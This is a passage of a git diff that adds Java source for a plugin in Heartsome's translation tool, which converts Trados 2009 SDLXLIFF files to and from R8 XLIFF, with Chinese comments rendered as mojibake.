xliff文件转æ¢è‡³trados 2009文件的æœåŠ¡æ³¨å†Œå™¨ */ +// @SuppressWarnings("rawtypes") + private ServiceRegistration xliff2SdlSR; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + plugin = this; + + Converter sdl2Xliff = new Sdl2Xliff(); + Properties properties = new Properties(); + properties.put(Converter.ATTR_NAME, Sdl2Xliff.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Sdl2Xliff.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Sdl2Xliff.TYPE_NAME_VALUE); + sdl2XliffSR = ConverterRegister.registerPositiveConverter(context, sdl2Xliff, properties); + + Converter xliff2Sdl = new Xliff2Sdl(); + properties = new Properties(); + properties.put(Converter.ATTR_NAME, Xliff2Sdl.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Xliff2Sdl.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Xliff2Sdl.TYPE_NAME_VALUE); + xliff2SdlSR = ConverterRegister.registerReverseConverter(context, xliff2Sdl, properties); + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + if (sdl2XliffSR != null) { + sdl2XliffSR.unregister(); + sdl2XliffSR = null; + } + if (xliff2SdlSR != null) { + xliff2SdlSR.unregister(); + xliff2SdlSR = null; + } + plugin = null; + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.trados2009/src/net/heartsome/cat/converter/trados2009/CommentBean.java b/hsconverter/net.heartsome.cat.converter.trados2009/src/net/heartsome/cat/converter/trados2009/CommentBean.java new file mode 100644 index 0000000..2cb0794 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.trados2009/src/net/heartsome/cat/converter/trados2009/CommentBean.java @@ -0,0 +1,85 @@ +package net.heartsome.cat.converter.trados2009; + +import net.heartsome.cat.common.util.DateUtils; + + +/** + * 批注信æ¯ï¼Œé’ˆå¯¹trados 2009的文件以åŠR8çš„XLIFF文件 + * @author robert 2012-07-02 + */ +public class CommentBean { + /** 标注的文件 */ + private String commentText; + /** 标注的作者 */ + private String user; + /** 标注的添加时间 */ + private String date; + /** trados 2009文件批注的æ示级别,å–值为Lowä¾›å‚考, Medium警告, High错误 */ + private String severity; + /** 是å¦æ˜¯å…¨å±€æ‰¹æ³¨ */ + private boolean isCurrentSeg; + + public CommentBean(){} + + public CommentBean(String user, String date, String severity, String commentText, boolean isCurrentSeg){ + this.user = user; + this.date = date; + this.severity = severity; + this.commentText = commentText; + this.isCurrentSeg = isCurrentSeg; + } + + + public String getCommentText() { + return commentText; + } + public void setCommentText(String commentText) { + this.commentText = commentText; + } + public String getUser() { + return user; + } + public void setUser(String user) { + this.user = user; + } + public String getDate() { + return date; + } + public void setDate(String date) { + this.date = date; + } + public String getSeverity() { + return severity; + } + public void setSeverity(String severity) { + this.severity = severity; + } + public boolean isCurrent() { + return isCurrentSeg; + } + public void setCurrent(boolean isCurrentSeg) { + this.isCurrentSeg = isCurrentSeg; + } + + /** + * 获å–R8状æ€ä¸‹çš„批注文本 + * @return + */ + public String getR8NoteText(){ + String newDate = DateUtils.dateToStr(DateUtils.strToDate(date)); + return newDate + ":" + commentText; + } + + @Override + public boolean equals(Object obj) { + if (obj instanceof CommentBean) { + CommentBean curBean = (CommentBean) obj; + if (curBean.getUser().equals(this.user) && curBean.getDate().equals(this.date) + && curBean.getCommentText().equals(this.commentText)) { + return true; + } + } + return false; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.trados2009/src/net/heartsome/cat/converter/trados2009/Sdl2Xliff.java b/hsconverter/net.heartsome.cat.converter.trados2009/src/net/heartsome/cat/converter/trados2009/Sdl2Xliff.java new file mode 100644 index 0000000..36037e4 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.trados2009/src/net/heartsome/cat/converter/trados2009/Sdl2Xliff.java @@ -0,0 +1,560 @@ +package net.heartsome.cat.converter.trados2009; + +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.text.MessageFormat; +import java.util.HashMap; +import java.util.LinkedHashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.trados2009.resource.Messages; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.util.CRC16; +import net.heartsome.util.TextUtil; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.runtime.IProgressMonitor; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; + +/** + * trados 2009 çš„sdlXliff文件转æ¢æˆR8çš„xliff文件 + * @author robert 2012-06-27 + */ +public class Sdl2Xliff implements Converter{ + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "sdlxliff"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("utils.FileFormatUtils.SDL"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "SDLXLIFF to XLIFF Conveter"; + + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + Sdl2XliffImpl converter = new Sdl2XliffImpl(); + return converter.run(args, monitor); + } + + public String getName() { + return NAME_VALUE; + } + + public String getType() { + return TYPE_VALUE; + } + + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + + + class Sdl2XliffImpl{ + /** æºæ–‡ä»¶ */ + private String inputFile; + /** 转æ¢æˆçš„XLIFF文件(临时文件) */ + private String xliffFile; + /** 骨架文件(临时文件) */ + private String skeletonFile; + /** æºè¯­è¨€ */ + private String userSourceLang; + /** 目标语言 */ + private String targetLang; +// private String detectedSourceLang; +// private String detectedTargetLang; + /** 转æ¢çš„ç¼–ç æ ¼å¼ */ + private String srcEncoding; +// private Element inputRoot; +// private Document skeleton; +// private Element skeletonRoot; + /** 将数æ®è¾“出到XLIFFæ–‡ä»¶çš„è¾“å‡ºæµ */ + private FileOutputStream output; +// private StringSegmenter segmenter; +// /** xliff 文件的 trans-unit 节点的 id 值 */ +// private int segId; + /** sdl文件的全局批注 */ + private List fileCommentsList = new LinkedList(); + + private int tagId; + + private String catalogue; + + private boolean ignoreTags; + + private boolean lockXtrans; + + private boolean lock100; + + private boolean isSuite; + /** 转æ¢å·¥å…·çš„ID */ + private String qtToolID; + /** 解æžéª¨æž¶æ–‡ä»¶çš„VTDNav实例 */ + private VTDNav sklVN; + private XMLModifier sklXM; + + + + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + monitor.beginTask("Converting...", 5); + Map result = new HashMap(); + + inputFile = params.get(Converter.ATTR_SOURCE_FILE); + xliffFile = params.get(Converter.ATTR_XLIFF_FILE); + skeletonFile = params.get(Converter.ATTR_SKELETON_FILE); + catalogue = params.get(Converter.ATTR_CATALOGUE); + targetLang = params.get(Converter.ATTR_TARGET_LANGUAGE); + userSourceLang = params.get(Converter.ATTR_SOURCE_LANGUAGE); + srcEncoding = params.get(Converter.ATTR_SOURCE_ENCODING); + + isSuite = false; + if (Converter.TRUE.equalsIgnoreCase(params.get(Converter.ATTR_IS_SUITE))) { + isSuite = true; + } + + qtToolID = params.get(Converter.ATTR_QT_TOOLID) != null ? params.get(Converter.ATTR_QT_TOOLID) + : Converter.QT_TOOLID_DEFAULT_VALUE; + + lockXtrans = false; + if (Converter.TRUE.equals(params.get(Converter.ATTR_LOCK_XTRANS))) { + lockXtrans = true; + } + + lock100 = false; + if (Converter.TRUE.equals(params.get(Converter.ATTR_LOCK_100))) { + lock100 = true; + } + + try { + output = new FileOutputStream(xliffFile); + copyFile(inputFile, skeletonFile); + parseSkeletonFile(); + getFileComments(); + //先写下头文件 + writeHeader(); + analyzeNodes(); + + writeString("\n"); + writeString("
    \n"); + writeString("
    "); + + //为了逆转æ¢æ—¶çš„方便,此时删除所有的批注 + deleteSklComments(); + sklXM.output(skeletonFile); + +// String file1 = "/home/robert/Desktop/file1.txt"; +// String file2 = "/home/robert/Desktop/file2.txt"; +// copyFile(skeletonFile, file1); +// copyFile(xliffFile, file2); + } catch (Exception e) { + e.printStackTrace(); + String errorTip = Messages.getString("sdl2Xlf.msg1") + "\n" + e.getMessage(); + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, errorTip, e); + }finally{ + try { + if (output != null) { + output.close(); + } + } catch (Exception e2) { + e2.printStackTrace(); + String errorTip = Messages.getString("sdl2Xlf.msg1") + "\n" + e2.getMessage(); + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, errorTip, e2); + } + monitor.done(); + } + return result; + } + + /** + * 写下XLIFF文件的头节点 + */ + private void writeHeader() throws IOException { + writeString("\n"); + writeString("\n"); + writeString("\n"); + writeString("
    \n"); + writeString(" \n"); + String crc = ""; + if (isSuite) { + crc = "crc=\"" + CRC16.crc16(TextUtil.cleanString(skeletonFile).getBytes("utf-8")) + "\""; + } + writeString(" \n"); + writeString(" \n"); + writeString(" \n"); + writeString(" " + + srcEncoding + "\n"); + writeString("
    \n"); + writeString("\n"); + } + + private void writeString(String string) throws IOException { + output.write(string.getBytes("utf-8")); //$NON-NLS-1$ + } + + /** + * 解æžéª¨æž¶æ–‡ä»¶ï¼Œæ­¤æ—¶çš„骨架文件的内容就是æºæ–‡ä»¶çš„内容 + * @throws Exception + */ + private void parseSkeletonFile() throws Exception{ + String errorInfo = ""; + VTDGen vg = new VTDGen(); + if (vg.parseFile(skeletonFile, true)) { + sklVN = vg.getNav(); + sklXM = new XMLModifier(sklVN); + }else { + errorInfo = MessageFormat.format(Messages.getString("sdl.parse.msg1"), + new Object[]{new File(inputFile).getName()}); + throw new Exception(errorInfo); + } + } + + + /** + * 分æžæ¯ä¸€ä¸ªèŠ‚点 + * @throws Exception + */ + private void analyzeNodes() throws Exception{ + AutoPilot ap = new AutoPilot(sklVN); + AutoPilot mrkAP = new AutoPilot(sklVN); + VTDUtils vu = new VTDUtils(sklVN); + String xpath = "/xliff/file/body//trans-unit[not(@translate='no')]"; ///seg-source/mrk[@mtype=\"seg\"] + String srxMrkXpath = "./seg-source//mrk[@mtype=\"seg\"]"; + String tgtMrkXpath = "./target//mrk[@mtype=\"seg\"]"; + //存储æºæ–‡çš„集åˆï¼Œkey为mrk节点的mid。 + Map srcMap = new LinkedHashMap(); + //存储译文的集åˆï¼Œkey为mrk节点的mid。 + Map tgtMap = new LinkedHashMap(); + //针对骨架文件的æ¯ä¸€ä¸ªæºæ–‡èŠ‚点的mrkä¿å­˜å ä½ç¬¦ID + Map segMap = new HashMap(); + ap.selectXPath(xpath); + int attrIdx = -1; + //xliff 文件的 trans-unit 节点的 id 值 + int segId = 0; + while (ap.evalXPath() != -1) { + // æ¸…é™¤æ‰€æœ‰æ•°æ® + srcMap.clear(); + tgtMap.clear(); + sklVN.push(); + mrkAP.resetXPath(); + mrkAP.selectXPath(srxMrkXpath); + while (mrkAP.evalXPath() != -1) { + // 先获å–出节点mrk的属性mid的值 + attrIdx = sklVN.getAttrVal("mid"); + String mid; + if (attrIdx == -1 || "".equals(mid = sklVN.toString(attrIdx))) { + continue; + } + String srcContent = vu.getElementContent(); + if (srcContent != null && !"".equals(srcContent)) { + srcMap.put(mid, new TuMrkBean(mid, srcContent, null, null, true)); + //开始填充å ä½ç¬¦ + insertPlaceHolder(vu, segId); + segMap.put(mid, segId); + segId ++; + } + } + sklVN.pop(); + + // 开始处ç†éª¨æž¶æ–‡ä»¶çš„è¯‘æ–‡ä¿¡æ¯ + sklVN.push(); + mrkAP.resetXPath(); + mrkAP.selectXPath(tgtMrkXpath); + while (mrkAP.evalXPath() != -1) { + attrIdx = sklVN.getAttrVal("mid"); + String mid; + if (attrIdx == -1 || "".equals(mid = sklVN.toString(attrIdx))) { + continue; + } + //注æ„两个填充å ä½ç¬¦æ–¹æ³•çš„ä½ç½®ä¸åŒã€‚ + if (segMap.get(mid) != null) { + insertPlaceHolder(vu, segMap.get(mid)); + TuMrkBean tgtBean = new TuMrkBean(); + tgtBean.setSource(false); + anysisTuMrkNode(sklVN, vu, tgtBean); + anysisTuMrkStatus(sklVN, vu, tgtBean, mid); + tgtBean.addFileComments(fileCommentsList); + tgtMap.put(mid, tgtBean); + } + } + + //UNDO 这里还没有处ç†ç›®æ ‡èŠ‚点mrkçš„mid值与æºæ–‡ç›¸æ¯”é—失的情况 2012-06-29 + + //开始填充数æ®åˆ°XLIFF文件 + for(Entry srcEntry : srcMap.entrySet()){ + String key = srcEntry.getKey(); //这个key是mid + TuMrkBean srcBean = srcEntry.getValue(); + TuMrkBean tgtBean = tgtMap.get(key) == null ? new TuMrkBean() : tgtMap.get(key); + int curSegId = segMap.get(key); + + writeSegment(srcBean, tgtBean, curSegId); + } + sklVN.pop(); + } + } + + + /** + * 给剔去翻译内容åŽçš„骨架文件填充å ä½ç¬¦ + * @throws Exception + */ + private void insertPlaceHolder(VTDUtils vu, int seg) throws Exception{ + String mrkHeader = vu.getElementHead(); + String newMrkStr = mrkHeader + "%%%"+ seg +"%%%" + ""; + sklXM.remove(); + sklXM.insertAfterElement(newMrkStr.getBytes(srcEncoding)); + } + + + /** + * å‘XLIFF文件输入新生æˆçš„trans-unit节点 + * @param srcContent + * @param tgtContent + * @param segId + * @throws Exception + */ + private void writeSegment(TuMrkBean srcBean, TuMrkBean tgtBean, int segId) throws Exception{ + String srcContent = srcBean.getContent(); + StringBuffer tuSB = new StringBuffer(); + String status = tgtBean.getStatus(); + + String tgtStatusStr = ""; + boolean isApproved = false; +// 具体的æ„æ€åŠä¸ŽR8的转æ¢è¯·æŸ¥çœ‹tgtBean.getStatus()的注释。 + if ("Draft".equals(status)) { + tgtStatusStr += " state=\"new\""; + }else if ("Translated".equals(status)) { + tgtStatusStr += " state=\"translated\""; + }else if ("RejectedTranslation".equals(status)) { + tgtStatusStr += " state=\"new\""; + }else if ("ApprovedTranslation".equals(status)) { + isApproved = true; + tgtStatusStr += " state=\"translated\""; + }else if ("RejectedSignOff".equals(status)) { + isApproved = true; + tgtStatusStr += " state=\"translated\""; + }else if ("ApprovedSignOff".equals(status)) { + isApproved = true; + tgtStatusStr += " state=\"signed-off\""; + } + String strMatchType = null; + String strQuality = null; + strMatchType = tgtBean.getMatchType() == null ? "" : " hs:matchType=\"".concat(tgtBean.getMatchType()).concat("\""); + strQuality = tgtBean.getQuality() == null ? "" : " hs:quality=\"".concat(tgtBean.getQuality()).concat("\""); + String approveStr = isApproved ? " approved=\"yes\"" : ""; + //是å¦é”定 + String lockStr = tgtBean.isLocked() ? " translate=\"no\"" : ""; + + + tuSB.append(" \n"); + tuSB.append(" " + srcContent + "\n"); + if (!tgtBean.isTextNull()) { + String tgtContent = tgtBean.getContent(); + tuSB.append("").append(tgtContent).append("\n"); + } + //æ·»åŠ å¤‡æ³¨ä¿¡æ¯ + if (tgtBean.getCommentList() != null && tgtBean.getCommentList().size() > 0) { + //这是R8的标注格å¼ï¼š2012-03-06:asdf + for(CommentBean cBean : tgtBean.getCommentList()){ + tuSB.append("" + cBean.getR8NoteText() + ""); + } + } + tuSB.append(" \n"); + writeString(tuSB.toString()); + } + + /** + * 获å–sdlXliff文件的tu节点下的æºæ–‡æˆ–译文,主è¦æ˜¯åˆ†æžmrk节点下的内容 + * @param vu + * @return + */ + private void anysisTuMrkNode(VTDNav vn, VTDUtils vu, TuMrkBean bean) throws Exception{ + vn.push(); + AutoPilot ap = new AutoPilot(vn); + if (vu.getChildElementsCount() > 0) { + ap.selectXPath("./mrk[@mtype='x-sdl-comment']"); + int attrIdx = -1; + if(ap.evalXPath() != -1){ + //这是有标注的情况,那么添加标注,备注信æ¯åªéœ€æ·»åŠ åˆ°ç›®æ ‡æ–‡æœ¬æ®µä¸­ + if (!bean.isSource()) { + String commandId = ""; + if ((attrIdx = vn.getAttrVal("sdl:cid")) != -1) { + commandId = vn.toString(attrIdx); + } + getSdlComment(vn, vu, commandId, bean); + } + } + } + String content = vu.getElementContent(); + if (content != null && !"".equals(content)) { + bean.setContent(content); + } + + vn.pop(); + } + + /** + * 分æžæ¯ä¸€ä¸ªæ–‡æœ¬æ®µçš„çŠ¶æ€ + * @param vn + * @param vu + * @param tgtBean + * @param mid target节点下å­èŠ‚点mrkçš„mid属性,å³å”¯ä¸€id值 + */ + private void anysisTuMrkStatus(VTDNav vn, VTDUtils vu, TuMrkBean tgtBean, String mid) throws Exception { + vn.push(); + String status = ""; //一个空字符串代表未翻译 + String xpath = "ancestor::trans-unit/sdl:seg-defs/sdl:seg[@id='" + mid + "']"; + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath(xpath); + if(ap.evalXPath() != -1){ + int attrIdx = -1; + if ((attrIdx = vn.getAttrVal("conf")) != -1) { + status = vn.toString(attrIdx); + tgtBean.setStatus(status); + } + //判断是å¦æ˜¯é”定 + if ((attrIdx = vn.getAttrVal("locked")) != -1) { + if ("true".equals(vn.toString(attrIdx))) { + tgtBean.setLocked(true); + } + } + + if ((attrIdx = vn.getAttrVal("origin")) != -1) { + //TODO R8中å æ—¶æ²¡æœ‰ä¸Ž SDL 相对应的匹é…类型,这里以åŽå¤„ç† + tgtBean.setMatchType("TM"); + } + + if ((attrIdx = vn.getAttrVal("percent")) != -1) { + tgtBean.setQuality(vn.toString(attrIdx)); + } + } + vn.pop(); + } + + /** + * 获å–sdl文件的全局批注。 + */ + private void getFileComments() throws Exception{ + AutoPilot ap = new AutoPilot(sklVN); + //无论有几个file节点,都获å–æ‰€æœ‰çš„å¤‡æ³¨ä¿¡æ¯ + String xpath = "/xliff/file/header/sdl:cmt"; + ap.declareXPathNameSpace("sdl", "http://sdl.com/FileTypes/SdlXliff/1.0"); + ap.selectXPath(xpath); + //sdl="http://sdl.com/FileTypes/SdlXliff/1.0" + VTDUtils vu = new VTDUtils(sklVN); + while(ap.evalXPath() != -1){ + if (sklVN.getAttrVal("id") != -1) { + String commentId = sklVN.toString(sklVN.getAttrVal("id")); + getSdlComment(sklVN, vu, commentId, null); + } + } + } + + /** + * 获å–trados 2009çš„å¤‡æ³¨ä¿¡æ¯ + */ + private void getSdlComment(VTDNav vn, VTDUtils vu, String commentId, TuMrkBean bean) throws Exception{ + vn.push(); + List commentList = new LinkedList(); + boolean isCurrentSeg = true; //当å‰æ–‡æœ¬æ®µçš„批注 + if (bean == null) { + isCurrentSeg = false; + } + int attrIdx = -1; + if (commentId != null && !"".equals(commentId)) { + String commandXpath = "/xliff/doc-info/cmt-defs/cmt-def[@id='" + commentId + "']/Comments/Comment"; + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath(commandXpath); + while(ap.evalXPath() != -1){ + String severity = null; + String user = null; + String date = null; + String commentText = null; + if ((attrIdx = vn.getAttrVal("severity")) != -1) { + severity = vn.toString(attrIdx); + } + if ((attrIdx = vn.getAttrVal("user")) != -1) { + user = vn.toString(attrIdx); + } + if ((attrIdx = vn.getAttrVal("date")) != -1) { + date = vn.toString(attrIdx); + } + commentText = vu.getElementContent(); + commentList.add(new CommentBean(user, date, severity, commentText, isCurrentSeg)); + } + } + //针对å•ä¸€æ–‡æœ¬æ®µçš„批注 + if (isCurrentSeg) { + bean.setCommentList(commentList); + }else { + //这时是全局批注 + fileCommentsList.addAll(commentList); + } + vn.pop(); + } + + /** + * 删除骨架文件中的所有批注 + * @throws Exception + */ + private void deleteSklComments() throws Exception{ + AutoPilot ap = new AutoPilot(sklVN); + String xpath; + //寻找全局批注的定义处,并删除 + xpath = "/xliff/file/header/sdl:cmt"; + ap.selectXPath(xpath); + while(ap.evalXPath() != -1){ + sklXM.remove(); + } + + //先删除æ¯ä¸ªæ–‡æœ¬æ®µçš„批注 + xpath = "/xliff/doc-info/cmt-defs"; + ap.selectXPath(xpath); + if (ap.evalXPath() != -1) { + sklXM.remove(); + } + } + } + +//----------------------------------------------------Sdl2XliffImpl 结æŸæ ‡å¿—--------------------------------------------// + + /** + * 将一个文件的数æ®å¤åˆ¶åˆ°å¦ä¸€ä¸ªæ–‡ä»¶ + * @param in + * @param out + * @throws Exception + */ + private static void copyFile(String in, String out) throws Exception { + FileInputStream fis = new FileInputStream(in); + FileOutputStream fos = new FileOutputStream(out); + byte[] buf = new byte[1024]; + int i = 0; + while ((i = fis.read(buf)) != -1) { + fos.write(buf, 0, i); + } + fis.close(); + fos.close(); + } + + +} diff --git a/hsconverter/net.heartsome.cat.converter.trados2009/src/net/heartsome/cat/converter/trados2009/TuMrkBean.java b/hsconverter/net.heartsome.cat.converter.trados2009/src/net/heartsome/cat/converter/trados2009/TuMrkBean.java new file mode 100644 index 0000000..a75079f --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.trados2009/src/net/heartsome/cat/converter/trados2009/TuMrkBean.java @@ -0,0 +1,159 @@ +package net.heartsome.cat.converter.trados2009; + +import java.util.LinkedList; +import java.util.List; + +/** + * 这是sdlXliff文件trans-unitï¼source或target节点下mrk[mtype='seg']节点的内容 pojoç±» + * @author robert 2012-06-29 + */ +public class TuMrkBean { + private String mid; + private String content; + private boolean isSource; + /** 批注 */ + private List commentList; + /** + *
    sdl文件的状æ€ï¼Œä¸‹é¢æ˜¯sdl至r8 xliff文件状æ€çš„转æ¢
    + * + * + * + * + * + * + * + * + *
    sdlR8 xliff备注
    Draftnewè‰ç¨¿
    Translatedtranslated已翻译ï¼ï¼žå®Œæˆç¿»è¯‘
    RejectedTranslationnew翻译被å¦å†³ï¼ï¼žè‰ç¨¿
    ApprovedTranslation批准翻译,在trans-unit节点中设置 approved="yes"
    RejectedSignOffç­¾å‘被拒ç»ï¼Œå›žåˆ°æ‰¹å‡†çŠ¶æ€
    ApprovedSignOffstate="signed-off"ç­¾å‘
    + */ + private String status; + /** 是å¦é”定 + *
    在R8中的é”定格å¼ä¸º < trans-unit translate="no"> ... </trans-unit>, + *
    而在sdl中这ç§è¡¨è¾¾æ–¹å¼ä¸ºä¸éœ€ç¿»è¯‘,å³ä¸ä¼šåŠ è½½åˆ°ç¿»è¯‘工具界é¢ä¸­ã€‚
    + */ + private boolean isLocked; + + private String quality; + + private String matchType; + public TuMrkBean(){} + + public TuMrkBean(String mid, String content, List commentList, String status, boolean isSource){ + this.mid = mid; + this.content = content; + this.commentList = commentList; + this.isSource = isSource; + this.status = status; + } + + /** + * 判断当å‰mrk节点的文本是å¦ä¸ºç©º + * @return + */ + public boolean isTextNull(){ + if (content == null || "".equals(content)) { + return true; + } + return false; + } + + + public String getMid() { + return mid; + } + + public void setMid(String mid) { + this.mid = mid; + } + + public String getContent() { + return content; + } + + public void setContent(String content) { + this.content = content; + } + + public List getCommentList() { + return commentList; + } + + public void setCommentList(List commentList) { + this.commentList = commentList; + } + + public boolean isSource() { + return isSource; + } + + public void setSource(boolean isSource) { + this.isSource = isSource; + } + + /** + *
    sdl文件的状æ€ï¼Œä¸‹é¢æ˜¯sdl至r8 xliff文件状æ€çš„转æ¢ï¼Œè¿™ä¸ªçŠ¶æ€ä¸Žé”定分开
    + * + * + * + * + * + * + * + * + * + * + *
    sdlR8 xliff备注
    Draftnewè‰ç¨¿
    Translatedtranslated已翻译ï¼ï¼žå®Œæˆç¿»è¯‘
    RejectedTranslationnew翻译被å¦å†³ï¼ï¼žè‰ç¨¿
    ApprovedTranslation批准翻译,在trans-unit节点中设置 approved="yes"
    RejectedSignOffç­¾å‘被拒ç»ï¼Œå›žåˆ°æ‰¹å‡†çŠ¶æ€
    ApprovedSignOffstate="signed-off"ç­¾å‘
    percenths:quality匹é…率
    originhs:matchType="TM"匹é…类型
    + */ + public String getStatus() { + return status; + } + + public void setStatus(String status) { + this.status = status; + } + /** 是å¦é”定 + *
    在R8中的é”定格å¼ä¸º < trans-unit translate="no"> ... </trans-unit>, + *
    而在sdl中这ç§è¡¨è¾¾æ–¹å¼ä¸ºä¸éœ€ç¿»è¯‘,å³ä¸ä¼šåŠ è½½åˆ°ç¿»è¯‘工具界é¢ä¸­ã€‚
    + */ + public boolean isLocked() { + return isLocked; + } + + public void setLocked(boolean isLocked) { + this.isLocked = isLocked; + } + + /** + * 添加全局批注å˜é‡ + * @param fileComments + */ + public void addFileComments(List fileComments){ + if (fileComments == null || fileComments.size() <= 0) { + return; + } + if (commentList == null) { + commentList = new LinkedList(); + } + commentList.addAll(fileComments); + } + + /** + * 匹é…率 + * @return + */ + public String getQuality() { + return quality; + } + + public void setQuality(String quality) { + this.quality = quality; + } + + public String getMatchType() { + return matchType; + } + + public void setMatchType(String matchType) { + this.matchType = matchType; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.trados2009/src/net/heartsome/cat/converter/trados2009/Xliff2Sdl.java b/hsconverter/net.heartsome.cat.converter.trados2009/src/net/heartsome/cat/converter/trados2009/Xliff2Sdl.java new file mode 100644 index 0000000..e396806 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.trados2009/src/net/heartsome/cat/converter/trados2009/Xliff2Sdl.java @@ -0,0 +1,513 @@ +package net.heartsome.cat.converter.trados2009; + +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.InputStream; +import java.io.OutputStream; +import java.text.MessageFormat; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; +import java.util.UUID; + +import org.eclipse.core.runtime.IProgressMonitor; + +import com.ximpleware.AutoPilot; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.trados2009.resource.Messages; +import net.heartsome.cat.converter.util.CalculateProcessedBytes; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.xml.Catalogue; +import net.heartsome.xml.Element; +import net.heartsome.xml.vtdimpl.VTDUtils; + +/** + * R8çš„XLIFF文件转æ¢æˆtrados 2009 çš„ xliff文件 + * @author robert 2012-06-25 + */ +public class Xliff2Sdl implements Converter{ + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "sdlxliff"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("utils.FileFormatUtils.SDL"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "XLIFF to SDLXLIFF Conveter"; + + + public Map convert(Map args, + IProgressMonitor monitor) throws ConverterException { + Xliff2SdlImpl impl = new Xliff2SdlImpl(); + return impl.run(args, monitor); + } + + + + public String getName() { + return NAME_VALUE; + } + + public String getType() { + return TYPE_VALUE; + } + + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + class Xliff2SdlImpl{ + /** The segments. */ + private Hashtable segments; + + /** 逆转æ¢çš„结果文件 */ + private String outputFile; + + /** The encoding. */ + private String encoding; + + /** The catalogue. */ + private Catalogue catalogue; + + /** The detected source lang. */ + private String detectedSourceLang; + + /** The detected target lang. */ + private String detectedTargetLang; + + /** The fr. */ + private InputStream fr = null; + + /** The br. */ + private BufferedReader br = null; + + /** The bos. */ + private BufferedWriter bos = null; + + /** The os. */ + private OutputStream os = null; + + /** The started. */ + private boolean started = false; + + /** The id. */ + private String id = ""; //$NON-NLS-1$ + + /** The header. */ + private StringBuffer header; + + /** The end header. */ + private boolean endHeader = false; + + /** The write source. */ + private boolean writeSource = false; + + /** The has tu tag. */ + private boolean hasTuTag = false; + + /** The pre seg id. */ + private String preSegID = ""; //$NON-NLS-1$ + + // 计算替æ¢è¿›åº¦çš„对象 + private CalculateProcessedBytes cpb; + + // 替æ¢è¿‡ç¨‹çš„进度监视器 + private IProgressMonitor replaceMonitor; + private boolean isPreviewMode; + + /** 骨架文件的解æžæ¸¸æ ‡ */ + private VTDNav outputVN; + /** 骨架文件的修改类实例 */ + private XMLModifier outputXM; + /** 骨架文件的查询实例 */ + private AutoPilot outputAP; + /** xliff文件的解æžæ¸¸æ ‡ */ + private VTDNav xlfVN; + /** 全局å˜é‡ */ + private List fileCommentsList = new LinkedList(); + /** 这是map对象是存储的è¦æ·»åŠ çš„批注,key为è¦æ·»åŠ çš„批注的ID, */ + private Map> commentMap = new HashMap>(); + + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + // 把转æ¢è¿‡ç¨‹åˆ†ä¸ºä¸¤å¤§éƒ¨åˆ†å…± 10 个任务,其中加载 xliff æ–‡ä»¶å  4,替æ¢è¿‡ç¨‹å  6。 + monitor.beginTask("Converting...", 10); + Map result = new HashMap(); + String sklFile = params.get(Converter.ATTR_SKELETON_FILE); + String xliffFile = params.get(Converter.ATTR_XLIFF_FILE); + encoding = params.get(Converter.ATTR_SOURCE_ENCODING); + outputFile = params.get(Converter.ATTR_TARGET_FILE); + + try { + //先将骨架文件的内容拷è´åˆ°ç›®æ ‡æ–‡ä»¶ï¼Œå†è§£æžç›®æ ‡æ–‡ä»¶ + copyFile(sklFile, outputFile); + parseOutputFile(outputFile, xliffFile); + parseXlfFile(xliffFile); + ananysisXlfTU(); + //生æˆæ‰¹æ³¨èŠ‚点 + createComments(); + + + outputXM.output(outputFile); + } catch (Exception e) { + e.printStackTrace(); + String errorTip = "XLIFF 转æ¢æˆ trados 2009 åŒè¯­æ–‡ä»¶å¤±è´¥ï¼" + "\n" + 